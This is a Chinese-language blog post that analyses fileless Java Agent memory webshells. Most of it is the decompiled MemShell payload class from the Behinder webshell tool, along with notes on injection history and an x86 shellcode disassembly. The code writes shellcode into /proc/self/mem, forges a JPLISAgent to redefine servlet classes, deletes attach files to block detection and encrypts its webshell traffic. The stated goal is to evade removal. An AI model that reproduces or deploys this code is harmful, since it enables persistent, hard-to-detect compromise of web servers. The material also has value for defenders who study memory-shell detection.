无文件Agent内存马的分析与实现

前情提要

非Agent型内存马。由于非Agent型内存马注入后,会产生新的类和对象,同时还会产生各种错综复杂的相互引用关系,比如要创建一个恶意Filter内存马,需要先修改已有的FilterMap,然后新增FilterConfig、FilterDef,最后还要修改FilterChain,这一系列操作产生的脏数据过多,不够整洁,而且添加类或者数据的动静太大,很容易被查杀.因此我还是认为Agent型内存马才是更理想的内存马。首先拖出这个雪藏过的大马吧!网上看到分析它的文章好像基本没有…,除了作者自己的一些技术分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
package net.rebeyond.behinder.payload.java;

import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URI;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.file.FileSystem;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.security.ProtectionDomain;
import java.security.SecureClassLoader;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import sun.misc.Unsafe;

public class MemShell extends ClassLoader {
public static String whatever;
private Object Request;
private Object Response;
private Object Session;
public static String action;
public static String type;
public static String className;
public static String classBody;
public static String libPath;
public static String password;
public static String antiAgent;
public static String shellCode;
public static String decryptClassStr;
public static String decryptName;
public static String path;
private int pointerLength = 8;
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC = 2;
private static final int STT_GNU_IFUNC = 10;

public Class parse(byte[] b) {
return super.defineClass(b, 0, b.length);
}

public MemShell(ClassLoader c) {
super(c);
}

public MemShell() {
}

public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var21 = false;

Object so;
Method write;
label165: {
try {
var21 = true;
System.setProperty("jdk.attach.allowAttachSelf", "true");
this.fillContext(obj);
if (action.equals("get")) {
String[] targetClassArr = new String[]{"/weblogic/servlet/internal/ServletStubImpl.class", "/jakarta/servlet/http/HttpServlet.class", "/javax/servlet/http/HttpServlet.class"};
String[] var4 = targetClassArr;
int var5 = targetClassArr.length;

for(int var6 = 0; var6 < var5; ++var6) {
String targetClass = var4[var6];
InputStream input = this.getClass().getResourceAsStream(targetClass);
if (input != null) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[1024];

for(int length = input.read(buf); length > 0; length = input.read(buf)) {
bos.write(buf, 0, length);
}

Map classObj = new HashMap();
classObj.put("className", targetClass);
classObj.put("classBody", base64encode(bos.toByteArray()));
result.put("status", "success");
result.put("msg", this.buildJson(classObj, false));
var21 = false;
break label165;
}
}

var21 = false;
break label165;
}

if (action.equals("injectAgentNoFile")) {
this.enableAttachSelf();
this.doInjectAgentNoFile(className, base64decode(classBody), Boolean.parseBoolean(antiAgent));
result.put("status", "success");
result.put("msg", "");
var21 = false;
} else if (action.equals("injectAgent")) {
this.doInjectAgent(Boolean.parseBoolean(antiAgent));
result.put("status", "success");
result.put("msg", "MemShell Agent Injected Successfully.");
var21 = false;
} else if (type.equals("injectFilter")) {
result.put("status", "success");
result.put("msg", "MemShell Agent Injected Successfully.");
var21 = false;
} else if (type.equals("Filter")) {
var21 = false;
} else {
if (type.equals("Servlet")) {
}

var21 = false;
}
break label165;
} catch (Throwable var25) {
result.put("status", "fail");
result.put("msg", var25.getMessage());
var25.printStackTrace();
var21 = false;
} finally {
if (var21) {
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var22) {
}

}
}

try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var23) {
}

return true;
}

try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var24) {
}

return true;
}
//貌似已经弃用
private static void modifyJar(String pathToJAR, String pathToClassInsideJAR, byte[] classBytes) throws Exception {
String classFileName = pathToClassInsideJAR.replace("\\", "/").substring(0, pathToClassInsideJAR.lastIndexOf(47));
FileOutputStream fos = new FileOutputStream(classFileName);
fos.write(classBytes);
fos.flush();
fos.close();
Map launchenv = new HashMap();
URI launchuri = URI.create("jar:" + (new File(pathToJAR)).toURI());
launchenv.put("create", "true");
FileSystem zipfs = FileSystems.newFileSystem(launchuri, launchenv);

try {
Path externalClassFile = Paths.get(classFileName);
Path pathInJarfile = zipfs.getPath(pathToClassInsideJAR);
Files.copy(externalClassFile, pathInJarfile, StandardCopyOption.REPLACE_EXISTING);
} catch (Throwable var11) {
if (zipfs != null) {
try {
zipfs.close();
} catch (Throwable var10) {
var11.addSuppressed(var10);
}
}

throw var11;
}

if (zipfs != null) {
zipfs.close();
}

}

public void doInjectAgent(boolean antiAgent) throws Exception {
try {
this.enableAttachSelf();
Class VirtualMachineCls = ClassLoader.getSystemClassLoader().loadClass("com.sun.tools.attach.VirtualMachine");
Method attachMethod = VirtualMachineCls.getDeclaredMethod("attach", String.class);
Method loadAgentMethod = VirtualMachineCls.getDeclaredMethod("loadAgent", String.class);
Object obj = attachMethod.invoke(VirtualMachineCls, getCurrentPID());
loadAgentMethod.invoke(obj, libPath);
if (antiAgent) {
this.antiAgentLinux();
}
} catch (Exception var10) {
var10.printStackTrace();
} catch (Error var11) {
var11.printStackTrace();
} finally {
(new File(libPath)).delete();
}

}
//linux 注入无文件内存马逻辑
private void agentForLinux(String className, byte[] classBody, boolean antiAgent) throws Exception {
FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
long RandomAccessFile_length = 0L;
long JNI_GetCreatedJavaVMs = 0L;

String line;
while((line = reader.readLine()) != null) {
String[] splits = line.trim().split(" ");
String[] addr_range;
long libbase;
String elfpath;
if (line.endsWith("libjava.so") && RandomAccessFile_length == 0L) {
addr_range = splits[0].split("-");
libbase = Long.parseLong(addr_range[0], 16);
elfpath = splits[splits.length - 1];
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
} else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0L) {
addr_range = splits[0].split("-");
libbase = Long.parseLong(addr_range[0], 16);
elfpath = splits[splits.length - 1];
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
}

if (JNI_GetCreatedJavaVMs != 0L && RandomAccessFile_length != 0L) {
break;
}
}

fin.close();
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
byte[] stack_align = new byte[]{85, 72, -119, -27, 72, -57, -64, 15, 0, 0, 0, 72, -9, -48};
byte[] movabs_rax = new byte[]{72, -72};
ByteBuffer buffer = ByteBuffer.allocate(8);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.putLong(0, JNI_GetCreatedJavaVMs);
byte[] b = new byte[]{72, -125, -20, 64, 72, 49, -10, 72, -1, -58, 72, -115, 84, 36, 4, 72, -115, 124, 36, 8, -1, -48, 72, -117, 124, 36, 8, 72, -115, 116, 36, 16, -70, 0, 2, 1, 48, 72, -117, 7, -1, 80, 48, 72, -117, 68, 36, 16, 72, -125, -60, 64, -55, -61};
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
byte[] backup = new byte[shellcode_len];
fout.seek(RandomAccessFile_length);
fout.read(backup);
fout.seek(RandomAccessFile_length);
fout.write(stack_align);
fout.write(movabs_rax);
fout.write(buffer.array());
fout.write(b);
fout.close();
long native_jvmtienv = fout.length();
fout = new RandomAccessFile("/proc/self/mem", "rw");
fout.seek(RandomAccessFile_length);
fout.write(backup);
fout.close();
Unsafe unsafe = null;

try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var31) {
throw new AssertionError(var31);
}

unsafe.putByte(native_jvmtienv + 361L, (byte)2);//偏移指针 361
long JPLISAgent = unsafe.allocateMemory(4096L);
unsafe.putLong(JPLISAgent + 8L, native_jvmtienv);

try {
Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor constructor = instrument_clazz.getDeclaredConstructor(Long.TYPE, Boolean.TYPE, Boolean.TYPE);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new ClassDefinition[]{definition});
} catch (Exception var30) {
var30.printStackTrace();
}

fout.getFD();
if (antiAgent) {
this.antiAgentLinux();
}

}

private void agentForWindow(String className, byte[] classBody, boolean antiAgent) throws Throwable {
byte[] inject = new byte[]{};//此处省略,篇幅太大
Constructor constructor = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
constructor.setAccessible(true);
ClassLoader classLoader = (ClassLoader)constructor.newInstance(this.getClass().getClassLoader());

Class injector;
try {
injector = classLoader.loadClass("sun.tools.attach.WindowsVirtualMachine");
} catch (ClassNotFoundException var14) {
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, ByteBuffer.class, ProtectionDomain.class);
defineMethod.setAccessible(true);
injector = (Class)defineMethod.invoke(this.getClass().getClassLoader().getParent(), null, ByteBuffer.wrap(inject), null);
}

injector.getField("pointerLength").set((Object)null, 8);
injector.getField("classBody").set((Object)null, classBody);
injector.getField("className").set((Object)null, className);
if (System.getProperty("os.arch").indexOf("x86") >= 0) {
injector.getField("pointerLength").set((Object)null, 4);
}

Method work = injector.getDeclaredMethod("work");

try {
work.invoke((Object)null, (Object[])null);
} catch (InvocationTargetException var15) {
if (!(var15.getTargetException() instanceof UnsatisfiedLinkError)) {
throw var15.getTargetException();
}

inject = (new String(inject, "ISO-8859-1")).replace("&sun/tools/attach/WindowsVirtualMachine", "#sun/tools/attach/VirtualMachineImpl").replace("(Lsun/tools/attach/WindowsVirtualMachine;", "%Lsun/tools/attach/VirtualMachineImpl;").getBytes("ISO-8859-1");

try {
injector = this.getClass().getClassLoader().getParent().loadClass("sun.tools.attach.VirtualMachineImpl");
} catch (ClassNotFoundException var13) {
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, ByteBuffer.class, ProtectionDomain.class);
defineMethod.setAccessible(true);
injector = (Class)defineMethod.invoke(this.getClass().getClassLoader().getParent(), null, ByteBuffer.wrap(inject), null);
}
injector.getField("pointerLength").set((Object)null, 8);
injector.getField("classBody").set((Object)null, classBody);
injector.getField("className").set((Object)null, className);
if (System.getProperty("os.arch").indexOf("x86") >= 0) {
injector.getField("pointerLength").set((Object)null, 4);
}

work = injector.getDeclaredMethod("work");

try {
work.invoke((Object)null, (Object[])null);
} catch (Exception var12) {
var12.printStackTrace();
}
}

}

private void doInjectAgentNoFile(String className, byte[] classBody, boolean antiAgent) throws Throwable {
String os = System.getProperty("os.name").toLowerCase();
if (os.indexOf("windows") >= 0) {
this.agentForWindow(className, classBody, antiAgent);
} else if (os.indexOf("mac") < 0) {
this.agentForLinux(className, classBody, antiAgent);
}

}

private void antiAgentLinux() {
String osInfo = System.getProperty("os.name").toLowerCase();
if (osInfo.indexOf("linux") >= 0) {
String fileName = "/tmp/.java_pid" + getCurrentPID();
(new File(fileName)).delete();
}
}

private void doInjectFilter() {
}

private static String getCurrentPID() {
String name = ManagementFactory.getRuntimeMXBean().getName();
String pid = name.split("@")[0];
return pid;
}

private static byte[] base64decode(String base64Text) throws Exception {
String version = System.getProperty("java.version");
byte[] result;
Class Base64;
Object Decoder;
if (version.compareTo("1.9") >= 0) {
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text);
} else {
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text);
}

return result;
}

private static String base64encode(byte[] content) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content);
} else {
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content);
result = result.replace("\n", "").replace("\r", "");
}

return result;
}

private static String base64encode(String content) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
} else {
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
result = result.replace("\n", "").replace("\r", "");
}

return result;
}

public static byte[] getFileData(String filePath) throws Exception {
byte[] fileContent = new byte[0];
FileInputStream fis = new FileInputStream(new File(filePath));
byte[] buffer = new byte[10240000];

int length;
for(length = 0; (length = fis.read(buffer)) > 0; fileContent = mergeBytes(fileContent, Arrays.copyOfRange(buffer, 0, length))) {
}

fis.close();
return fileContent;
}

public static byte[] mergeBytes(byte[] a, byte[] b) throws Exception {
ByteArrayOutputStream output = new ByteArrayOutputStream();
output.write(a);
output.write(b);
return output.toByteArray();
}

private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}

this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}

private String buildJson(Map entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();

while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
value = base64encode(value);
}

sb.append(value);
sb.append("\",");
}

if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}

sb.append("}");
return sb.toString();
}

private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(encrypted);
return base64encode(bos.toByteArray()).getBytes();
}

private Object sessionGetAttribute(Object session, String key) {
Object result = null;

try {
result = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
} catch (Exception var5) {
}

return result;
}

private void sessionSetAttribute(Object session, String key, Object value) {
try {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, value);
} catch (Exception var5) {
}

}

private void enableAttachSelf() {
try {
Unsafe unsafe = null;

try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var6) {
throw new AssertionError(var6);
}

Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field = cls.getDeclaredField("ALLOW_ATTACH_SELF");
long fieldAddress = unsafe.staticFieldOffset(field);
unsafe.putBoolean(cls, fieldAddress, true);
} catch (Throwable var7) {
}

}

private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];

for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}

return buf;
}

private static int ELF_ST_TYPE(int x) {
return x & 15;
}

static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
long func_ptr = 0L;
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
byte[] e_ident = new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum = Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
int sh_name = 0;
int sh_type = 0;
long sh_flags = 0L;
long sh_addr = 0L;
long sh_offset = 0L;
long sh_size = 0L;
int sh_link = 0;
int sh_info = 0;
long sh_addralign = 0L;
long sh_entsize = 0L;

for(int i = 0; i < e_shnum; ++i) {
fin.seek(e_shoff + (long)(i * 64));
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if (sh_type == 11) {
break;
}
}

long symtab_shdr_sh_size = sh_size;
long symtab_shdr_sh_entsize = sh_entsize;
long symtab_shdr_sh_offset = sh_offset;
fin.seek(e_shoff + (long)(sh_link * e_shentsize));
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
long symstr_shdr_sh_offset = sh_offset;
long cnt = symtab_shdr_sh_entsize > 0L ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0L;

for(long i = 0L; i < cnt; ++i) {
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i);
int st_name = Integer.reverseBytes(fin.readInt());
byte st_info = fin.readByte();
byte st_other = fin.readByte();
short st_shndx = Short.reverseBytes(fin.readShort());
long st_value = Long.reverseBytes(fin.readLong());
long st_size = Long.reverseBytes(fin.readLong());
if (st_value != 0L && st_name != 0 && (ELF_ST_TYPE(st_info) == 2 || ELF_ST_TYPE(st_info) == 10)) {
fin.seek(symstr_shdr_sh_offset + (long)st_name);
String name = "";

byte ch;
for(ch = 0; (ch = fin.readByte()) != 0; name = name + (char)ch) {
}

if (sym.equals(name)) {
func_ptr = libbase + st_value;
break;
}
}
}

fin.close();
return func_ptr;
}

private Boolean detect(String className) {
try {
ClassLoader.getSystemClassLoader().loadClass(className);
return Boolean.TRUE;
} catch (ClassNotFoundException var3) {
return this.getClass().getResource(className) != null ? Boolean.TRUE : Boolean.FALSE;
}
}
}

捋一下过往的agent🐎注入技术

先膜拜传奇老登: rebeyond

  • 最传统的方式:2018年,《利用“进程注入”实现无文件复活 WebShell》一文首次提出memShell(内存马)概念,利用Java Agent技术向JVM内存中植入webshell,并在github上发布memShell项目。项目中对内存马的植入过程比较繁琐,需要三个步骤:

    1. 上传inject.jar到服务器用来枚举jvm并进行植入;
    2. 上传agent.jar到服务器用来承载webshell功能;
    3. 执行系统命令java -jar inject.jar。
  • 仍然还是要上传一个agent.jar;2020年,Behinder(冰蝎) v3.0版本更新中内置了Java内存马注入功能,此次更新利用self attach技术,将植入过程由上文中的3个步骤减少为2个步骤:

    1. 上传agent.jar到服务器用来承载webshell功能;
    2. 冰蝎服务端调用Java API将agent.jar植入自身进程完成注入。
  • 对抗技术,防止查杀agent内存马,不能attach,不过此等方法过于暴力,生产环境需谨慎使用;2021年,Behinder(冰蝎)v3.0 Beta 10版本更新中,实现了内存马防检测(我称他为Anti-Attach技术),可以避免在我们注入内存马之后其他人再注入内存马或者扫描内存马。

  • 暴力搜索指针位置,动静太大且容易打崩系统;2021年,《Java内存攻击技术漫谈》一文,提出了无文件agent植入技术,整个Agent注入的过程不需要在目标磁盘上落地文件,这勉强解决了“脏”的问题。但是该文中介绍的方法存在一个缺陷,那就是获取JPLISAgent的过程不够优雅和安静,会概率性的导致Java进程崩溃,这是不能忍的,于是就有了这篇文章.
    结合作者的思路:

主要关注windows 平台,linux平台实现较为容易

Windows平台下通过Java向自身进程植入并运行shellcode→调用Native层jvm.dll的JNI_GetCreatedJavaVMs→获取JVMTIEnv指针→构造JPLISAgent对象→具备Java Agent的所有能力

所加载的shellcode的主要流程,主要是为了执行JNI_GetCreatedJavaVMs:

1
2
3
4
5
6
7
先获取到当前进程kernel32.dll的基址;
在kernel32.dll的输出表中,获取GetProcessAddress函数的地址;
调用GetProcessAddress获取LoadLibraryA函数的地址;
调用LoadLibraryA加载jvm.dll获取jvm.dll模块在当前进程中的基址;
调用GerProcAddress在jvm.dll中获取JNI_GetCreatedJavaVMs的地址;
调用JNI_GetCreatedJavaVMs;
还原现场,安全退出线程,优雅地离开,避免shellcode执行完后进程崩溃。

X86版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
00830000 | 90                       | nop                                     |
00830001 | 90 | nop |
00830002 | 90 | nop |
00830003 | 33C9 | xor ecx,ecx |
00830005 | 64:A1 30000000 | mov eax,dword ptr fs:[30] |
0083000B | 8B40 0C | mov eax,dword ptr ds:[eax+C] |
0083000E | 8B70 14 | mov esi,dword ptr ds:[eax+14] |
00830011 | AD | lodsd |
00830012 | 96 | xchg esi,eax |
00830013 | AD | lodsd |
00830014 | 8B58 10 | mov ebx,dword ptr ds:[eax+10] | ebx:"MZ?"
00830017 | 8B53 3C | mov edx,dword ptr ds:[ebx+3C] | edx:"MZ?"
0083001A | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
0083001C | 8B52 78 | mov edx,dword ptr ds:[edx+78] | edx:"MZ?"
0083001F | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
00830021 | 33C9 | xor ecx,ecx |
00830023 | 8B72 20 | mov esi,dword ptr ds:[edx+20] |
00830026 | 03F3 | add esi,ebx | ebx:"MZ?"
00830028 | 41 | inc ecx |
00830029 | AD | lodsd |
0083002A | 03C3 | add eax,ebx | ebx:"MZ?"
0083002C | 8138 47657450 | cmp dword ptr ds:[eax],50746547 |
00830032 | 75 F4 | jne 830028 |
00830034 | 8178 04 726F6341 | cmp dword ptr ds:[eax+4],41636F72 |
0083003B | 75 EB | jne 830028 |
0083003D | 8178 08 64647265 | cmp dword ptr ds:[eax+8],65726464 |
00830044 | 75 E2 | jne 830028 |
00830046 | 8B72 24 | mov esi,dword ptr ds:[edx+24] |
00830049 | 03F3 | add esi,ebx | ebx:"MZ?"
0083004B | 66:8B0C4E | mov cx,word ptr ds:[esi+ecx*2] |
0083004F | 49 | dec ecx |
00830050 | 8B72 1C | mov esi,dword ptr ds:[edx+1C] |
00830053 | 03F3 | add esi,ebx | ebx:"MZ?"
00830055 | 8B148E | mov edx,dword ptr ds:[esi+ecx*4] | edx:"MZ?"
00830058 | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
0083005A | 52 | push edx | edx:"MZ?"
0083005B | 33C9 | xor ecx,ecx |
0083005D | 51 | push ecx |
0083005E | 68 61727941 | push 41797261 |
00830063 | 68 4C696272 | push 7262694C |
00830068 | 68 4C6F6164 | push 64616F4C |
0083006D | 54 | push esp |
0083006E | 53 | push ebx | ebx:"MZ?"
0083006F | FFD2 | call edx |
00830071 | 83C4 0C | add esp,C |
00830074 | 59 | pop ecx |
00830075 | 50 | push eax |
00830076 | 66:B9 3332 | mov cx,3233 |
0083007A | 51 | push ecx |
0083007B | 68 6A766D00 | push 6D766A | 6D766A:L"$$笔划$$字根/笔划"
00830080 | 54 | push esp |
00830081 | FFD0 | call eax |
00830083 | 8BD8 | mov ebx,eax | ebx:"MZ?"
00830085 | 83C4 0C | add esp,C |
00830088 | 5A | pop edx | edx:"MZ?"
00830089 | 33C9 | xor ecx,ecx |
0083008B | 51 | push ecx |
0083008C | 6A 73 | push 73 |
0083008E | 68 7661564D | push 4D566176 |
00830093 | 68 65644A61 | push 614A6465 |
00830098 | 68 72656174 | push 74616572 |
0083009D | 68 47657443 | push 43746547 |
008300A2 | 68 4A4E495F | push 5F494E4A |
008300A7 | 54 | push esp |
008300A8 | 53 | push ebx | ebx:"MZ?"
008300A9 | FFD2 | call edx |
008300AB | 8945 F0 | mov dword ptr ss:[ebp-10],eax |
008300AE | 54 | push esp |
008300AF | 6A 01 | push 1 |
008300B1 | 54 | push esp |
008300B2 | 59 | pop ecx |
008300B3 | 83C1 10 | add ecx,10 |
008300B6 | 51 | push ecx |
008300B7 | 54 | push esp |
008300B8 | 59 | pop ecx |
008300B9 | 6A 01 | push 1 |
008300BB | 51 | push ecx |
008300BC | FFD0 | call eax |
